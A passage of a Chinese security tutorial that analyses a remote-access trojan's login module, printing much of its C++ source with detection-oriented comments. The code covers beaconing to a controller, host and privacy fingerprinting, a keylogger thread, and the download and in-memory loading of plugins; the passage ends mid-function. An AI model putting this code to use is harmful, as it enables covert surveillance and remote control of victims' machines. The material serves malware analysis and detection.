第 22 课:主插件:登录模块
# 第 22 课:主插件:登录模块
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课把登录模块当作防御侧样本来读。它不是单纯“发一个登录包”,而是把入口线程、网络库、登录信息、激活令牌、状态上报和插件触发串成一条链。学习目标是看清楚代码如何被触发、每段源码解决什么问题、第三方库在里面承担什么角色,以及企业侧应该从哪些位置做检测。
本课只做安全工程分析,不讲未授权使用方法,不提供可直接复用的控制流程。

# 1. 先看整体角色
登录模块在工程中的角色可以概括为:
- 被 DLL 入口或导出函数触发,创建
MainThread。 - 根据配置选择
CTcpSocket或CUdpSocket。 - 创建
CLoginManager,把 socket 回调绑定到业务分发函数。 - 调用
sendLoginInfo发送LOGININFO。 - 等待
TOKEN_ACTIVED,激活后进入事件循环。 - 继续处理心跳、状态上报和插件命令。
这也是本课的阅读顺序。新手读这类代码不要先陷入每个辅助函数,先把主线拉出来,再逐段补细节。
# 1.1 为什么要单独有登录模块
第 21 课上线模块已经能连接主控,为什么还要再加载登录模块?从源码结构看,原因是职责分离:
| 模块 | 主要职责 | 为什么这样分 |
|---|---|---|
| 上线模块 | 解析配置、建立初始连接、请求登录模块 | 保持入口小,减少启动阶段复杂度 |
| 登录模块 | 上报主机信息、等待激活、调度插件、维护缓存 | 把长期连接和功能插件调度集中到一个稳定模块 |
| 功能插件 | 文件、屏幕、音频、启动项等具体功能 | 每个功能独立加载,便于按需分发和版本更新 |

登录模块的设计目标可以理解为五件事:

- 稳定连接:根据
MyInfo选择 TCP/UDP 和地址端口,连接主控。 - 身份上报:调用
sendLoginInfo发送主机画像。 - 激活控制:等待主控返回
TOKEN_ACTIVED,未激活就断开重试。 - 插件调度:处理
COMMAND_DLLMAIN和COMMAND_SENDLL。 - 本地缓存:把插件 DLL-bin 写入
HKCU\Console\0/1,减少重复传输。
# 1.2 从上线模块到登录模块的完整顺序
把第 21 课和本课接起来看,完整顺序是:
- 上线模块请求并加载
登录模块.dll_bin。 - 登录模块入口触发
MainThread。 MainThread根据MyInfo连接主控。- 连接成功后构造
CLoginManager。 - 调用
sendLoginInfo上报主机信息。 - 等待主控发送
TOKEN_ACTIVED。 - 激活后发送
TOKEN_GETAUTODLL。 - 主控按需发送插件元数据或插件数据。
- 登录模块查缓存、请求缺失插件、写注册表缓存。
Loop_DllManager内存加载插件 DLL 并调用Main。
下面这段代码是登录模块“承接上线模块”的核心:
// 源码位置:主插件\登录模块\登录模块\登录模块.cpp:148-230
// 防御分析注释:
// 1. MainThread 是登录模块的主线入口。
// 2. 它不再请求登录模块版本,而是直接创建 CLoginManager 并发送登录信息。
// 3. sendLoginInfo 是主机画像上报点,应与网络首包关联。
// 4. 等待 TOKEN_ACTIVED 是为了避免连接错误或未授权连接继续进入插件链。
DWORD WINAPI MainThread()
{
Sleep(_ttoi(MyInfo.szRunSleep) * 1000);
TCHAR Time[255];
GetTimeFormat(Time);
void* ptcp = new CTcpSocket;
void* pudp = new CUdpSocket;
while (TRUE)
{
// 防御分析:登录模块继续复用 MyInfo 中的多地址轮转逻辑。
if (!changeip)
{
_tcscpy_s(szAddress, MyInfo.szAddress);
_tcscpy_s(szPort, MyInfo.szPort);
IsTcp = MyInfo.IsTcp;
changeip = (!changeip);
}
else
{
_tcscpy_s(szAddress, MyInfo.szAddress2);
_tcscpy_s(szPort, MyInfo.szPort2);
IsTcp = MyInfo.IsTcp2;
changeip = (!changeip);
}
socketClient = (IsTcp == 1) ? (ISocketBase*)ptcp : (ISocketBase*)pudp;
Sleep(_ttoi(MyInfo.szHeart) * 1000);
if (!socketClient->Connect(szAddress, _ttoi(szPort)))
continue;
CLoginManager manager(socketClient, szAddress, _ttoi(szPort), IsTcp);
if (sendLoginInfo(socketClient, Time, MyInfo.otherset.special) == -1)
{
socketClient->Disconnect();
continue;
}
for (int i = 0; (i < 10 && !manager.IsActived()); i++)
Sleep(1000);
if (!manager.IsActived())
{
socketClient->Disconnect();
continue;
}
socketClient->run_event_loop();
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
这段代码解释了登录模块为什么看起来“比上线模块复杂”:它已经进入长期在线阶段,需要负责状态上报、插件调度和缓存维护。
# 2. 源码目录和关键文件
| 文件 | 大致行号 | 本课用途 |
|---|---|---|
主插件/登录模块/登录模块/登录模块.cpp | 148-310、403-439 | 入口函数、MainThread、连接、登录、激活等待 |
主插件/登录模块/登录模块/LoginManager.h | 11-35、58-78、93-124 | 命令枚举、插件元数据结构、管理器接口 |
主插件/登录模块/登录模块/LoginManager.cpp | 11-78、186-203、213-366、641-727 | 插件加载线程、构造函数、命令分发、状态上报 |
主插件/登录模块/登录模块/help.h | 84-113 | LOGININFO 登录结构体 |
主插件/登录模块/登录模块/help.cpp | 8-145 | sendLoginInfo 构造登录包 |
主插件/登录模块/登录模块/MemoryModule.* | MemoryModule.h:48-79 | 内存 PE 加载接口 |
主插件/HPSocket/* | 多处 | TCP/UDP 网络连接、心跳、解包、回调 |
# 3. 第三方库和系统库用途
只看登录模块本身会漏掉很多工程行为。这个功能用了多类第三方或系统基础库,必须把用途讲清楚。

| 库或组件 | 源码位置 | 解决的问题 | 检测关注点 |
|---|---|---|---|
| HPSocket 网络库 | 主插件/HPSocket | 封装 TCP/UDP、缓冲区、心跳、解包和回调 | 长连接、固定心跳、包头结构、业务回调 |
| MemoryModule | 登录模块/MemoryModule.* | 从内存中的 PE 数据加载 DLL,并解析导出函数 | 内存 PE、动态导出、非标准模块映射 |
| MD5 | 登录模块/md5.* | 生成 HWID 和插件缓存值名 | 散列命名规律,不能当安全认证 |
ATL CImage | LoginManager.h、LoginManager.cpp | BMP 转 JPEG | 屏幕采集与图像编码组合 |
| DirectInput | Input.h | 键鼠输入接口 | 输入采集属于高风险隐私信号 |
| DirectShow / DXGI | help.h、help.cpp | 摄像头、显卡、显示器枚举 | 设备枚举与登录包字段关联 |
| WinINet | help.cpp | URL 读取和文件写入辅助 | 进程内动态加载网络 API |
| DbgHelp | 登录模块.cpp | 崩溃转储 MiniDumpWriteDump | 单独不定性,结合远控链路判断 |
库名本身不是结论。更可靠的判断方式,是看同一进程内是否同时出现登录首包、长连接心跳、设备枚举、注册表二进制缓存和内存加载。
# 4. 登录模块的触发入口
登录模块有两条入口:Release 下的 DllMain,以及导出函数 run。两条路径都会创建 MainThread。
// 源码位置:主插件/登录模块/登录模块/登录模块.cpp:403-439
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
// ul_reason_for_call 表示 DLL 当前被调用的原因。
// 本模块只在 DLL_PROCESS_ATTACH 场景下启动主逻辑。
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
#ifdef _DEBUG
// Debug 版本通常不在 DllMain 中直接跑主逻辑,便于调试。
#else
// 防御分析:Release 版本在 DLL 被加载时触发主线程。
// 也就是说,入口并不一定是 EXE 的 main/winmain。
if (hThread == NULL)
{
// hThread 是登录主线程句柄。
// 线程起始地址指向 MainThread,主机侧可据此关联模块加载和线程创建。
hThread = CreateThread(
0, 0,
(LPTHREAD_START_ROUTINE)MainThread,
0, 0, 0);
// 防御分析:在 DllMain 内等待线程结束是危险写法,
// 可能带来加载锁问题,也方便检测 DLL 加载后的异常线程行为。
WaitForSingleObject(hThread, INFINITE);
}
#endif
}
break;
}
return TRUE;
}
extern "C" __declspec(dllexport) bool run()
{
// 防御分析:run 是另一条显式触发路径。
// 如果看到外部加载器调用该导出函数,应继续追踪它创建的 MainThread。
HANDLE hThread = CreateThread(
0, 0,
(LPTHREAD_START_ROUTINE)MainThread,
0, 0, 0);
WaitForSingleObject(hThread, INFINITE);
Sleep(300);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# 5. MainThread 做了哪些事
MainThread 先处理启动延迟、守护、保护、输入采集等开关,然后进入连接循环。
// 源码位置:主插件/登录模块/登录模块/登录模块.cpp:148-180
DWORD WINAPI MainThread()
{
// 防御分析:启动延迟来自配置 MyInfo.szRunSleep。
// 延迟执行可能让短时沙箱漏掉后续行为。
// 该字段来自全局配置 MyInfo,是登录链路的第一处时间控制点。
Sleep(_ttoi(MyInfo.szRunSleep) * 1000);
if (MyInfo.otherset.Processdaemon)
{
// Processdaemon 表示进程守护开关。
// loactThreadProc 会额外创建守护相关线程,检测时要和主线程区分。
PROCESS_INFORMATION* pi = new PROCESS_INFORMATION;
CloseHandle((HANDLE)_beginthreadex(NULL, 0, loactThreadProc, pi, 0, NULL));
}
// ProtectedProcess 表示进程保护开关。
// 这类行为应结合权限、调用栈和目标进程判断风险。
if (MyInfo.otherset.ProtectedProcess)
CallNtSetinformationProcess();
// 注册异常处理函数。正常软件也可能这么做,但这里会和登录链路同时出现。
SetUnhandledExceptionFilter(My_bad_exception);
// 防御分析:输入采集线程是高风险隐私行为。
// 本课只说明检测意义,不展开使用方式。
// KeyLoggerThreadProc 是输入采集相关线程入口,企业侧应记录线程起始地址。
CloseHandle((HANDLE)_beginthreadex(NULL, 0, KeyLoggerThreadProc, NULL, 0, NULL));
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
接下来是网络连接循环。
// 源码位置:主插件/登录模块/登录模块/登录模块.cpp:180-249
// ptcp / pudp 是两种通信实现的实例,后面通过 IsTcp 选择其一。
// 检测时要注意:同一进程可能同时创建 TCP 和 UDP 对象,但实际只使用其中一个。
void* ptcp = new CTcpSocket;
void* pudp = new CUdpSocket;
while (TRUE)
{
// 防御分析:配置中有多组地址和端口,连接失败后会轮换。
// szAddress / szPort 是当前尝试连接的目标。
// IsTcp 决定使用 CTcpSocket 还是 CUdpSocket。
if (!changeip)
{
_tcscpy_s(szAddress, MyInfo.szAddress);
_tcscpy_s(szPort, MyInfo.szPort);
IsTcp = MyInfo.IsTcp;
changeip = (!changeip);
}
else
{
_tcscpy_s(szAddress, MyInfo.szAddress2);
_tcscpy_s(szPort, MyInfo.szPort2);
IsTcp = MyInfo.IsTcp2;
changeip = (!changeip);
}
// 每轮连接前先断开旧连接,避免旧 socket 状态影响新一轮。
// 这会形成“失败-断开-等待-重连”的网络节奏。
if (socketClient)
socketClient->Disconnect();
// 根据配置选择 TCP 或 UDP 网络对象。
if (IsTcp == 1)
socketClient = (CTcpSocket*)ptcp;
else
socketClient = (CUdpSocket*)pudp;
// 触发点:真正发起网络连接。
// 企业侧应记录目标地址、端口、协议和当前进程路径。
if (!socketClient->Connect(szAddress, _ttoi(szPort)))
{
// 连接失败后等待 3 秒继续循环,属于稳定重试特征。
Sleep(3000);
continue;
}
// 将当前连接交给登录管理器。
// CLoginManager 构造函数会把自己注册为 socket 回调,并初始化本地插件缓存。
CLoginManager manager(
socketClient,
szAddress,
_ttoi(szPort),
IsTcp,
MyInfo.otherset.special);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# 6. HPSocket 如何触发 OnReceive
CLoginManager 继承自 CManager。CManager 构造函数会把自己注册到 socket 对象里。
// 源码位置:主插件/HPSocket/Manager.cpp:12-19
CManager::CManager(ISocketBase* pClient)
{
// pClient 是当前已经连接或即将连接的 socket 抽象对象。
// 登录模块通过 ISocketBase 屏蔽 TCP/UDP 的差异。
m_pClient = pClient;
// 触发关系:网络层收到完整业务包后,会回调当前 manager。
// 这是理解 OnReceive 如何被触发的关键,不是 MainThread 主动轮询命令。
m_pClient->setManagerCallBack(this);
// m_hEventDlgOpen 是管理器基类中的事件对象。
// bStop 控制 Send 是否继续向网络层写数据。
m_hEventDlgOpen = CreateEventA(NULL, true, false, NULL);
bStop = FALSE;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
TCP 收包后的关键逻辑如下。UDP 的模式类似,位于 主插件/HPSocket/UdpSocket.cpp:789-820。
// 源码位置:主插件/HPSocket/TcpSocket.cpp:275-305
bool CTcpSocket::OnReceive(const BYTE* pData, int iLength)
{
// pData/iLength 是网络层收到的原始片段。
// m_CompressionBuffer 负责把分片数据拼成完整业务包。
m_CompressionBuffer.Write((LPBYTE)pData, iLength);
while ((int)(m_CompressionBuffer.GetBufferLen()) > 14)
{
// 防御分析:包头中包含长度和 10 字节校验字段。
// 固定包头、固定校验字段和后续心跳可以作为网络侧关联线索。
if ((memcmp(m_password, m_CompressionBuffer.GetBuffer(4), 10) != 0))
{
m_CompressionBuffer.ClearBuffer();
return FALSE;
}
// nSize 取自包头前 4 字节,表示完整业务包长度。
// 如果长度字段异常,后续解包和内存拷贝都可能出问题。
int nSize = 0;
CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(0), sizeof(int));
if (nSize && (int)m_CompressionBuffer.GetBufferLen() >= nSize)
{
// activetime 用于判断连接是否仍然活跃。
activetime = timeGetTime();
m_DeCompressionBuffer.ClearBuffer();
// 解出业务数据。此处去掉 14 字节头部后交给业务层。
m_DeCompressionBuffer.Write(
m_CompressionBuffer.GetBuffer(14),
nSize - 14,
1,
m_password);
// 触发点:解出完整业务包后进入 CLoginManager::OnReceive。
// 后续 TOKEN_LOGIN/TOKEN_ACTIVED/COMMAND_* 都从这里进入业务分发。
m_pManager->OnReceive(
m_DeCompressionBuffer.GetBuffer(0),
m_DeCompressionBuffer.GetBufferLen());
// 删除已处理数据,缓冲区中可能还剩下下一个业务包。
m_CompressionBuffer.Delete(nSize);
}
else
break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

# 7. LOGININFO 是什么
LOGININFO 是登录首包的核心结构体,里面包含主机、系统、进程、设备和分组等字段。

// 源码位置:主插件/登录模块/登录模块/help.h:84-113
typedef struct
{
// 下面这些字段会被整体作为登录首包发送。
// 企业侧可把“固定结构体 + 登录令牌 + 环境枚举”作为组合线索。
BYTE Btoken; // 协议令牌,登录时为 TOKEN_LOGIN
TCHAR N_ip[255]; // 内网 IP 列表
TCHAR ip[20]; // 公网 IP
TCHAR addr[40]; // 地址字段
TCHAR UserActive[15]; // 用户活跃状态
TCHAR CptName[50]; // 计算机名
TCHAR OsName[50]; // 系统名称
TCHAR OSVersion[30]; // 系统版本
TCHAR CPU[60]; // CPU 信息
TCHAR DAM[200]; // 硬盘和内存信息
TCHAR GPU[150]; // 显卡信息
TCHAR Window[255]; // 当前前景窗口,属于隐私敏感运行状态
TCHAR Group[50]; // 分组
TCHAR Version[50]; // 客户端版本
TCHAR Remark[50]; // 备注
TCHAR m_Time[50]; // 运行时间
TCHAR ExeAndOs[10]; // 程序和系统位数
TCHAR Process[50]; // 进程权限用户
TCHAR ProcPath[250]; // 进程路径
TCHAR pid[10]; // 进程 ID
TCHAR IsWebCam[4]; // 摄像头标志,属于设备隐私信号
TCHAR Chat[255]; // 即时通信相关字段,属于隐私敏感信号
TCHAR Virus[50]; // 安全软件字段
TCHAR lpLCData[32]; // 系统语言
TCHAR Monitors[255]; // 显示器信息
TCHAR szSysdire[50]; // 系统目录
TCHAR szHWID[49]; // HWID,MD5 结果
BOOL backdoor; // 特殊连接标志
} LOGININFO;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
对新手来说,读结构体最有效的方法是分组:
| 分组 | 字段 |
|---|---|
| 身份与网络 | Btoken、N_ip、CptName、szHWID |
| 系统环境 | OsName、OSVersion、CPU、DAM、GPU、Monitors |
| 运行状态 | UserActive、Window、m_Time、Process、pid |
| 隐私敏感 | IsWebCam、Chat、Window |
# 8. sendLoginInfo 如何被触发
连接成功并创建 CLoginManager 后,MainThread 立刻调用 sendLoginInfo。登录包发送失败就断开并重试;发送成功后等待激活。
// 源码位置:主插件/登录模块/登录模块/登录模块.cpp:269-298
if (sendLoginInfo(socketClient, Time, MyInfo.otherset.special) == -1)
{
socketClient->Disconnect();
continue;
}
// 防御分析:等待 TOKEN_ACTIVED,超时则断开重连。
for (int i = 0; (i < 10 && !manager.IsActived()); i++)
{
Sleep(1000);
}
if (!manager.IsActived())
{
socketClient->Disconnect();
Sleep(1000);
continue;
}
// 激活后进入网络事件循环。
socketClient->run_event_loop();
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
sendLoginInfo 负责填充并发送 LOGININFO。
// 源码位置:主插件/登录模块/登录模块/help.cpp:8-145
int sendLoginInfo(ISocketBase* pClient, TCHAR* Time, BOOL sw_user)
{
// pClient 是已经连接成功的 socket 抽象对象。
// Time 是 MainThread 记录的运行时间。
// sw_user 会写入 LOGININFO.backdoor,用于区分特殊连接状态。
LOGININFO* LoginInfo = new LOGININFO;
memset(LoginInfo, 0, sizeof(LOGININFO));
// 登录首包令牌。
// 后续网络流量可围绕 TOKEN_LOGIN -> TOKEN_ACTIVED -> TOKEN_GETAUTODLL 建链。
LoginInfo->Btoken = TOKEN_LOGIN;
// 获取主机名和内网 IP。
// hostname / n_ip 会进入 LOGININFO,是资产画像的一部分。
char n_ip[200] = {};
char hostname[50] = {};
gethostname(hostname, sizeof(hostname));
// gethostbyname 用于根据主机名解析本机地址列表。
// 连接成功后立刻做环境枚举,是主机侧的重要时间线。
HOSTENT* host = gethostbyname(hostname);
if (host != NULL)
{
for (int i = 0; ; i++)
{
strcat_s(n_ip, 200, inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]));
strcat_s(n_ip, 200, " ");
if (host->h_addr_list[i] + host->h_length >= host->h_name)
break;
}
}
// 把 ANSI 字符串转换成 TCHAR 宽字符字段,写入登录结构体。
MultiByteToWideChar(CP_ACP, 0, n_ip, -1, LoginInfo->N_ip,
MultiByteToWideChar(CP_ACP, 0, n_ip, -1, NULL, 0));
// 以下辅助函数集中采集用户活跃、系统版本、磁盘内存、显卡显示器和前景窗口。
// 单个 API 不一定异常,但短时间集中出现且紧跟网络首包时需要重点关联。
GetActive(LoginInfo->UserActive);
GetNtVersionNumbers(LoginInfo->OSVersion, LoginInfo->OsName);
GetDiskAndMem(LoginInfo->DAM);
getgpuandMonitor(LoginInfo->GPU, LoginInfo->Monitors);
getactivewindows(LoginInfo->Window);
GetProcessIntegrity(LoginInfo);
GetProcessFullPath(GetCurrentProcessId(), LoginInfo->ProcPath);
// 防御分析:摄像头、前景窗口、即时通信字段属于隐私敏感信息。
IsWebCam() ? _tcscpy_s(LoginInfo->IsWebCam, _T("有"))
: _tcscpy_s(LoginInfo->IsWebCam, _T("X"));
GetQQ(LoginInfo->Chat);
wcsncpy_s(LoginInfo->Virus, ARRAYSIZE(LoginInfo->Virus),
GetVirus(), ARRAYSIZE(LoginInfo->Virus) - 1);
// HWID 由多项主机信息计算 MD5。
// MD5 这里只是标识生成方式,不具备认证强度。
HW_PROFILE_INFO hwProfileInfo;
if (GetCurrentHwProfile(&hwProfileInfo))
{
BufToMd5(LoginInfo->szHWID,
LoginInfo->CptName,
LoginInfo->OSVersion,
LoginInfo->N_ip,
LoginInfo->CPU,
_T("X64"),
LoginInfo->Process,
hwProfileInfo.szHwProfileGuid);
}
// 触发点:发送固定大小的 LOGININFO。
// 如果网络侧看到连接建立后立即发送固定结构体,应该继续关联后续激活和插件请求。
int nRet = pClient->Send((LPBYTE)LoginInfo, sizeof(LOGININFO));
SAFE_DELETE(LoginInfo);
return nRet;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# 9. CLoginManager 构造函数
CLoginManager 构造函数保存连接上下文,并初始化本地插件缓存。
// 源码位置:主插件/登录模块/登录模块/LoginManager.cpp:186-203
CLoginManager::CLoginManager(
ISocketBase* pClient,
TCHAR* lpszMasterHost,
UINT nMasterPort,
BOOL bIsTcp,
BOOL IsBackDoor) : CManager(pClient)
{
// pClient 在基类 CManager 中被注册为回调对象。
// lpszMasterHost/nMasterPort/bIsTcp 会传给后续插件,形成连接上下文继承。
// IsBackDoor 控制特殊连接状态,后续 OnReceive 会根据该字段走不同分支。
m_IsBackDoor = IsBackDoor;
if (lpszMasterHost != NULL)
_tcscpy_s(m_strMasterHost, lpszMasterHost);
// 保存当前登录连接的目标地址、端口和协议模式。
m_nMasterPort = nMasterPort;
m_bIsTcp = bIsTcp;
// m_bIsActived 初始为 FALSE,收到 TOKEN_ACTIVED 后才变为 TRUE。
m_bIsActived = FALSE;
// 默认插件加载模式为 DLL_MEMLOAD,后续会影响 Loop_DllManager 的加载分支。
m_nDllLoadMode = DLL_MEMLOAD;
// 防御分析:x64 读取 Console\1,x86 读取 Console\0。
// 连接刚建立就读取该位置,说明模块在检查本地插件缓存。
#ifdef _WIN64
EnumRegeditData(_T("Console\\1"));
#else
EnumRegeditData(_T("Console\\0"));
#endif
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 10. OnReceive 如何处理激活令牌
OnReceive 是命令分发中心。它由网络层回调触发,不是 MainThread 主动调用。

// 源码位置:主插件/登录模块/登录模块/LoginManager.cpp:213-240
void CLoginManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
// lpBuffer 是 HPSocket 解包后的业务数据。
// lpBuffer[0] 被当作 TOKEN_* 或 COMMAND_* 分发依据。
// nSize 是业务数据长度,命令分支应先验证它是否满足结构体大小要求。
if (!m_IsBackDoor)
{
HKEY hKEY;
DWORD dwType = REG_BINARY;
DWORD IpDateSize = 0;
// 防御分析:通过 HKCU\Console\IpDatespecial 控制特殊状态。
// 网络事件和注册表状态同时出现时,应放在同一时间窗关联。
if (ERROR_SUCCESS == ::RegOpenKeyEx(
HKEY_CURRENT_USER, _T("Console"), 0, KEY_READ, &hKEY))
{
RegQueryValueEx(hKEY, _T("IpDatespecial"),
NULL, &dwType, NULL, &IpDateSize);
}
if (IpDateSize > 1)
return;
}
switch (lpBuffer[0])
{
case TOKEN_ACTIVED:
{
// 触发点:主控端返回激活令牌。
// 这是登录阶段切换到后续命令阶段的状态边界。
if (m_bIsActived) return;
InterlockedExchange((LONG*)&m_bIsActived, TRUE);
// 激活后马上请求自动插件信息。
// 因此 TOKEN_ACTIVED 后面通常会跟 TOKEN_GETAUTODLL。
BYTE lpPacket = TOKEN_GETAUTODLL;
Send((LPBYTE)&lpPacket, 1);
}
break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
执行顺序:
- HPSocket 解出完整包。
- 调用
CLoginManager::OnReceive。 lpBuffer[0]被当成令牌或命令。- 收到
TOKEN_ACTIVED后设置m_bIsActived。 - 发送
TOKEN_GETAUTODLL,进入插件请求阶段。
# 11. 插件命令和元数据结构
登录管理器能处理的命令定义在 LoginManager.h。
// 源码位置:主插件/登录模块/登录模块/LoginManager.h:11-35
enum LoginManager
{
// 插件加载相关命令。后续 COMMAND_DLLMAIN -> COMMAND_SENDLL 会进入动态加载边界。
COMMAND_DLLMAIN, // 请求插件元数据
COMMAND_SENDLL, // 接收插件数据
// 连接、状态和屏幕类命令。
COMMAND_CLOSESOCKET,
COMMAND_GET_PROCESSANDCONDITION, // 获取进程/状态
COMMAND_GET_SCREEN, // 获取屏幕
// 本地文件和进程控制类命令,防御侧应结合权限和父进程判断。
COMMAND_UPLOAD_EXE,
COMMAND_DOWN_EXE,
COMMAND_RENAME,
COMMAND_FILTERPROCESS,
COMMAND_MONITOR,
COMMAND_GETMONITOR,
COMMAND_CLEANLOG,
COMMAND_RESTART,
COMMAND_EXIT,
COMMAND_LOGOUT,
COMMAND_REBOOT,
COMMAND_SHUTDOWN,
COMMAND_CHANGELOAD,
COMMAND_MOVECLIENT,
COMMAND_COPYCLIENT,
COMMAND_SET_DOOR_GETPERMINSSION = 100,
COMMAND_SET_DOOR_QUITPERMINSSION,
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
插件相关结构体如下。
// 源码位置:主插件/登录模块/登录模块/LoginManager.h:58-78
struct DllSendData
{
SendTaskType sendTaskType; // 插件任务类型
TCHAR szDllName[255]; // 插件名称
BOOL bIsX64; // 插件位数
int dllDataSize; // 插件数据大小,后续内存分配依赖该字段,必须关注上限
TCHAR szVersion[50]; // 插件版本
TCHAR szcommand[1000]; // 插件命令参数
int i;
};
struct DllData
{
CLoginManager* m_CLoginManager; // 回到登录管理器发送状态
TCHAR* m_strMasterHost; // 继承登录模块连接地址
UINT m_nMasterPort; // 继承端口
BOOL m_bIsTcp; // 继承 TCP/UDP 模式
DllSendData* m_sendDllData; // 插件元数据
byte* m_pDllData; // 插件二进制数据,后续可能进入 MemoryLoadLibrary
DLL_LOAD_MODEL m_nDllLoadMode; // 加载模式,决定 LoadLibrary 还是内存加载路径
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
这些结构解释了一个关键事实:登录模块是后续插件的连接上下文中转站。插件并不重新发明连接信息,而是继承登录模块里的地址、端口和协议模式。
# 12. COMMAND_DLLMAIN:请求插件元数据
COMMAND_DLLMAIN 收到的是插件元数据。代码先检查本地缓存里有没有同名同版本插件;如果有,直接启动加载线程;如果没有,发出 TOKEN_SENDLL 请求插件数据。

// 源码位置:主插件/登录模块/登录模块/LoginManager.cpp:241-313
case COMMAND_DLLMAIN:
{
// nSize 必须刚好等于命令字节 + DllSendData。
// 这是协议解析边界;长度异常时直接返回,避免继续解析错位数据。
if (nSize != (sizeof(DllSendData) + 1))
return;
// pDllSendData 保存插件名称、版本、位数、数据大小等元信息。
DllSendData* pDllSendData = new DllSendData;
ZeroMemory(pDllSendData, sizeof(DllSendData));
// lpBuffer[0] 是命令字节,后面才是 DllSendData。
::memcpy(pDllSendData, lpBuffer + 1, sizeof(DllSendData));
// 防御分析:遍历进程内插件缓存。
// 源码注释也提示这里在多连接场景下可能存在并发风险。
for (std::vector<DllData*>::iterator it = g_vecDllDatas.begin();
it != g_vecDllDatas.end(); )
{
if (_tcscmp((*it)->m_sendDllData->szDllName,
pDllSendData->szDllName) == 0)
{
// 更新连接上下文。
// 这里说明插件会复用登录模块的目标地址、端口和协议模式。
(*it)->m_strMasterHost = m_strMasterHost;
(*it)->m_nMasterPort = m_nMasterPort;
(*it)->m_bIsTcp = m_bIsTcp;
(*it)->m_CLoginManager = this;
// 触发点:本地已有插件数据时,直接进入插件加载线程。
HANDLE hWorker = (HANDLE)_beginthreadex(
NULL, 0, Loop_DllManager, (void*)(*it), 0, NULL);
CloseHandle(hWorker);
SAFE_DELETE(pDllSendData);
return;
}
else
{
++it;
}
}
// 本地没有缓存,请求发送插件数据。
// TOKEN_SENDLL 是从“请求插件元数据”进入“接收插件数据”的转折点。
LPBYTE lpBuffer = new BYTE[sizeof(DllSendData) + 1];
lpBuffer[0] = TOKEN_SENDLL;
#ifdef _WIN64
// bIsX64 会告诉对端当前模块位数,后续插件数据也会按位数区分。
pDllSendData->bIsX64 = 1;
#else
pDllSendData->bIsX64 = 0;
#endif
::memcpy(lpBuffer + 1, pDllSendData, sizeof(DllSendData));
Send((LPBYTE)lpBuffer, sizeof(DllSendData) + 1);
}
break;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# 13. COMMAND_SENDLL:接收并缓存插件数据
COMMAND_SENDLL 收到完整插件数据后,会把数据保存到内存结构和注册表,然后启动 Loop_DllManager。
// 源码位置:主插件/登录模块/登录模块/LoginManager.cpp:314-366
case COMMAND_SENDLL:
{
// temp 保存插件元数据。它来自网络包体,不能默认可信。
DllSendData* temp = new DllSendData;
ZeroMemory(temp, sizeof(DllSendData));
::memcpy(temp, lpBuffer + 1, sizeof(DllSendData));
// 防御分析:根据对端声明的 dllDataSize 分配内存。
// 这里是稳定性和安全风险点:长度过大、为负或与 nSize 不一致都会影响后续拷贝。
BYTE* pPluginDllShellcodeData = new BYTE[temp->dllDataSize];
// 从网络包中复制插件二进制数据到进程内存。
// 网络侧 COMMAND_SENDLL、内存侧新缓冲区、后续线程启动应放在同一条链里看。
::memcpy(
pPluginDllShellcodeData,
lpBuffer + 1 + sizeof(DllSendData),
temp->dllDataSize);
// pDllData 把插件数据和当前登录连接上下文打包。
// 后续 Loop_DllManager 会直接消费这个结构。
DllData* pDllData = new DllData;
pDllData->m_sendDllData = temp;
pDllData->m_pDllData = pPluginDllShellcodeData;
pDllData->m_strMasterHost = m_strMasterHost;
pDllData->m_nMasterPort = m_nMasterPort;
pDllData->m_bIsTcp = m_bIsTcp;
pDllData->m_nDllLoadMode = m_nDllLoadMode;
pDllData->m_CLoginManager = this;
g_vecDllDatas.push_back(pDllData);
// 防御分析:插件数据写入 HKCU\Console\0 或 HKCU\Console\1。
// 这会把网络数据转成本地 REG_BINARY 缓存。
int writeregeditsize = sizeof(DllSendData) + temp->dllDataSize;
char* writeregeditbuffer = new char[writeregeditsize];
